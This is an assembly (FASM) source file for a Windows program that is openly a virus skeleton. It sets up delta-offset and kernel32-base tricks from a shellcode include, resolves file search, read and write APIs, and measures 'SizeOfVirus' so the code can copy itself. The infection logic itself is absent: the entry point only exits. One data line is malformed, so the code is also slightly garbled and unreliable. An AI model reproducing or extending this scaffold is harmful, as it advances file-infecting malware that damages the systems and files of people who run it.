format	PE GUI 4.0
	entry	EntryPoint
;=======================================================================
include	'%fasminc%\win32ax.inc'
include	'%fasminc%\macro\shellcode.inc'
;==================================
;CONST

;=======================================================================

section	'.INSTALL' code readable executable writeable

EntryPoint:
	DELTA_OFFSET	; ebp - Virtual EntryPoint
	IMAGE_BASE	; eax - ImageBase kernel32.dll

; ----
; DATA BEGIN
; ----
About	db	'I`m from Russia',0x0
NameAPI:
str_FindFirstFile	db 'FindFirstFile',0x0
str_FindNextFile	db 'FindNextFile',0x0
str_FindClose	db 'FindClose',0x0
str_CreateFileA	db 'CreateFileA',0x0
str_ReadFile	db 'ReadFile',0x0
str_WriteFile	db 'WriteFile',0x
str_CloseHandle	db 'CloseHandle',0x0

VAddrAPI:
api_FindFirstFile	dd 0
api_FindNextFile	dd 0
api_FindClose	dd 0
api_CreateFileA	dd 0
api_ReadFile	dd 0
api_WriteFile	dd 0
api_CloseHandle	dd 0
; ----
; DATA END
; ----
SizeOfVirus	= $ - EntryPoint
	invoke  ExitProcess,0

outbuf	rb	SizeOfVirus 

;=======================================================================

section	'.IMPORT' import data readable writeable
	library\
	kernel32,'KERNEL32.DLL'
include     '%fasminc%\api\kernel32.inc'